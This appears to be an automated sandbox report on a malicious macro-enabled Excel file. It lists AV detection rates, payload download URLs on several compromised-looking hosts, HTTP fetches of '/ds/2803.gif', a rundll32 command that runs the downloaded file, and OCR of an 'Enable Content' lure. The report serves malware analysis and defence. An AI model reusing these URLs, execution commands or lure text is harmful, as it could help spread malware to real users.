Source: http://tienda.ventadigital.com.ar/ds/2803.gif |
Avira URL Cloud: Label: malware |
Source: http://nellaimasthanbiryani.com/ds/2803.gif |
Avira URL Cloud: Label: malware |
Source: http://thirdstringcalifornia.com/ds/2803.gif |
Avira URL Cloud: Label: malware |
Source: http://holmesservices.mobiledevsite.co/ds/2803.gif |
Avira URL Cloud: Label: malware |
Source: http://kristen.sbddev.com/ds/2803.gif |
Avira URL Cloud: Label: malware |
Source: holmesservices.mobiledevsite.co |
Virustotal: Detection: 7% |
Perma Link |
Source: document-933340782.xlsm |
Virustotal: Detection: 37% |
Perma Link |
Source: document-933340782.xlsm |
Metadefender: Detection: 16% |
Perma Link |
Source: document-933340782.xlsm |
ReversingLabs: Detection: 48% |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe |
Source: global traffic |
DNS query: name: kristen.sbddev.com |
Source: global traffic |
TCP traffic: 192.168.2.22:49167 -> 50.23.112.133:80 |
Source: global traffic |
TCP traffic: 192.168.2.22:49167 -> 50.23.112.133:80 |
Source: Joe Sandbox View |
IP Address: 143.95.33.96 143.95.33.96 |
Source: Joe Sandbox View |
IP Address: 66.36.231.40 66.36.231.40 |
Source: global traffic |
HTTP traffic detected: GET /ds/2803.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kristen.sbddev.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kristen.sbddev.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kristen.sbddev.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /ds/2803.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tienda.ventadigital.com.arConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /ds/2803.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: thirdstringcalifornia.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /ds/2803.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: holmesservices.mobiledevsite.coConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /ds/2803.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: nellaimasthanbiryani.comConnection: Keep-Alive |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\75F3850F.png |
Jump to behavior |
Source: global traffic |
HTTP traffic detected: GET /ds/2803.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kristen.sbddev.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kristen.sbddev.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kristen.sbddev.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /ds/2803.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tienda.ventadigital.com.arConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /ds/2803.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: thirdstringcalifornia.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /ds/2803.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: holmesservices.mobiledevsite.coConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /ds/2803.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: nellaimasthanbiryani.comConnection: Keep-Alive |
Source: rundll32.exe, 00000003.00000002.2118809970.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2112718551.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2108608259.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2106559021.0000000001B90000.00000002.00000001.sdmp |
String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail) |
Source: unknown |
DNS traffic detected: queries for: kristen.sbddev.com |
Source: global traffic |
HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: Keep-AliveX-Powered-By: PHP/7.2.34Content-Type: text/html; charset=UTF-8Content-Length: 97Content-Encoding: gzipVary: Accept-EncodingDate: Wed, 07 Apr 2021 08:46:55 GMTServer: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 b3 c9 30 b4 f3 cb 2f 51 70 cb 2f cd 4b d1 b3 d1 cf 30 b4 0b c9 48 55 28 4a 2d 2c 4d 2d 2e 49 4d 51 08 0d f2 51 d0 4f 29 d6 37 b2 30 30 d6 4b cf 4c 53 28 4f 2c 56 c8 cb 2f 51 48 03 e9 50 c8 cf 53 28 c9 c8 2c 56 28 4e 2d 2a 4b 2d d2 03 00 8c 1f 10 3a 4f 00 00 00 Data Ascii: 0/Qp/K0HU(J-,M-.IMQQO)700KLS(O,V/QHPS(,V(N-*K-:O |
Source: rundll32.exe, 00000003.00000002.2118809970.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2112718551.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2108608259.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2106559021.0000000001B90000.00000002.00000001.sdmp |
String found in binary or memory: http://investor.msn.com |
Source: rundll32.exe, 00000003.00000002.2118809970.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2112718551.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2108608259.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2106559021.0000000001B90000.00000002.00000001.sdmp |
String found in binary or memory: http://investor.msn.com/ |
Source: rundll32.exe, 00000003.00000002.2119083483.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2112907787.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2109469854.0000000001D57000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2106743511.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2100624725.0000000001D77000.00000002.00000001.sdmp |
String found in binary or memory: http://localizability/practices/XML.asp |
Source: rundll32.exe, 00000003.00000002.2119083483.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2112907787.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2109469854.0000000001D57000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2106743511.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2100624725.0000000001D77000.00000002.00000001.sdmp |
String found in binary or memory: http://localizability/practices/XMLConfiguration.asp |
Source: rundll32.exe, 00000003.00000002.2119083483.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2112907787.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2109469854.0000000001D57000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2106743511.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2100624725.0000000001D77000.00000002.00000001.sdmp |
String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check |
Source: rundll32.exe, 00000003.00000002.2119083483.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2112907787.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2109469854.0000000001D57000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2106743511.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2100624725.0000000001D77000.00000002.00000001.sdmp |
String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true |
Source: rundll32.exe, 00000003.00000002.2118809970.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2112718551.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2108608259.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2106559021.0000000001B90000.00000002.00000001.sdmp |
String found in binary or memory: http://www.hotmail.com/oe |
Source: rundll32.exe, 00000003.00000002.2119083483.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2112907787.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2109469854.0000000001D57000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2106743511.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2100624725.0000000001D77000.00000002.00000001.sdmp |
String found in binary or memory: http://www.icra.org/vocabulary/. |
Source: rundll32.exe, 00000003.00000002.2118809970.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2112718551.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2108608259.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2106559021.0000000001B90000.00000002.00000001.sdmp |
String found in binary or memory: http://www.msnbc.com/news/ticker.txt |
Source: rundll32.exe, 00000008.00000002.2100437884.0000000001B90000.00000002.00000001.sdmp |
String found in binary or memory: http://www.windows.com/pctv. |
Source: Screenshot number: 4 |
Screenshot OCR: Enable Editing 11 from the yellow bar above 12 :: Once You have Enable Editing, please ell r, i m |
Source: Screenshot number: 8 |
Screenshot OCR: Enable Editing 11 from the yellow bar above 12 13 Once You have Enable Editing, please click Enab |
Source: Screenshot number: 8 |
Screenshot OCR: Enable Content 14 from the yellow bar above 15 16 17 18 WHY I CANNOTOPEN THIS DOCUMENT? 19 2 |
Source: Document image extraction number: 9 |
Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing , please click Enable Conten |
Source: Document image extraction number: 9 |
Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro |
Source: Screenshot number: 12 |
Screenshot OCR: Enable Editing 11 1 from the yellow bar above 12 13 ' @ Once You have Enable Editing, please clic |
Source: Screenshot number: 12 |
Screenshot OCR: Enable Content 14 1 from the yellow bar above 15 CI c? 16 17 I 18 I WHY I CANNOTOPEN THIS DOCU |
Source: document-933340782.xlsm |
Initial sample: EXEC |
Source: document-933340782.xlsm |
Initial sample: Sheet size: 53161 |
Source: rundll32.exe, 00000003.00000002.2118809970.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2112718551.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2108608259.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2106559021.0000000001B90000.00000002.00000001.sdmp |
Binary or memory string: .VBPud<_ |
Source: classification engine |
Classification label: mal88.expl.evad.winXLSM@11/12@5/5 |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File created: C:\Users\user\Desktop\~$document-933340782.xlsm |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File created: C:\Users\user\AppData\Local\Temp\CVRCB2B.tmp |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File read: C:\Users\desktop.ini |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iekdhfe.dsk,DllRegisterServer |
Source: document-933340782.xlsm |
Virustotal: Detection: 37% |
Source: document-933340782.xlsm |
Metadefender: Detection: 16% |
Source: document-933340782.xlsm |
ReversingLabs: Detection: 48% |
Source: unknown |
Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding |
|
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iekdhfe.dsk,DllRegisterServer |
|
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iekdhfe.dsk1,DllRegisterServer |
|
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iekdhfe.dsk2,DllRegisterServer |
|
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iekdhfe.dsk3,DllRegisterServer |
|
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iekdhfe.dsk4,DllRegisterServer |
|
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iekdhfe.dsk,DllRegisterServer |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iekdhfe.dsk1,DllRegisterServer |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iekdhfe.dsk2,DllRegisterServer |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iekdhfe.dsk3,DllRegisterServer |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iekdhfe.dsk4,DllRegisterServer |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: Window Recorder |
Window detected: More than 3 window changes detected |
Source: document-933340782.xlsm |
Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels |
Source: document-933340782.xlsm |
Initial sample: OLE zip file path = xl/media/image4.png |
Source: document-933340782.xlsm |
Initial sample: OLE zip file path = xl/media/image3.png |
Source: document-933340782.xlsm |
Initial sample: OLE zip file path = xl/media/image1.png |
Source: document-933340782.xlsm |
Initial sample: OLE zip file path = xl/media/image2.png |
Source: document-933340782.xlsm |
Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin |
Source: document-933340782.xlsm |
Initial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |